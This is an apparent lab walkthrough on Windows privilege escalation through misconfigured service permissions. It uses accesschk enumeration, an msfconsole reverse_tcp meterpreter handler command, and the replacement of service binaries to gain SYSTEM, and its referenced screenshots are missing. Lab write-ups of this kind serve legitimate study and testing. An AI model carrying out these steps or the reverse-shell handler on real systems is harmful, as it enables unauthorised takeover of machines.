offensive security
Weak Service Permissions
This quick lab covers two Windows service misconfigurations that allow an attacker to elevate their privileges:
- 1.A low privileged user is allowed to change service configuration - for example change the service binary the service launches when it starts
- 2.A low privileged user can overwrite the binary the service launches when it starts
1. Changing Service Configuration
Let's enumerate services with
accesschk from SysInternals and look for SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG as these privileges allow attackers to modify service configuration:1
\\vboxsvr\tools\accesschk.exe /accepteula -ucv "mantvydas" evilsvc
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or
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\\vboxsvr\tools\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
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Below indicates that the user
mantvydas has full access to the service:
Let's modify the service and point its binary to our malicious binary that will get us a meterpreter shell when the service is launched:
Let's fire up a multihandler in mfsconsole:
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msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
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...and start the vulnerable service:
..and enjoy the meterpreter session:
Note that the meterpreter session will die soon since the meterpreter binary
program.exe that the vulnerable service VulnSvc kicked off, is not a compatible service binary. To save the session, migrate it to another sprocess:Even though the service failed, the session was migrated and saved:
2. Overwriting Service Binary
From the first exercise, we know that our user has
SERVICE_ALL_ACCESS for the service evilsvc. Let's check the service binary path:
Let's check file permissions of the binary c:\service.exe using a native windows tool
icals and look for (M)odify or (F)ull permissions for Authenticated Users or the user you currently have a shell with:
Since c:\service.exe is (M)odifiable by any authenticated user, we can move our malicious binary c:\program.exe to c:\service.exe:
...and get the meterpreter shell once
sc start evilsvc is executed. Note that the shell will die if we do not migrate the process same way as mentioned earlier:
Since services usually run under
NT AUTHORITY\SYSTEM, our malicious binary gets executed with SYSTEM privileges:
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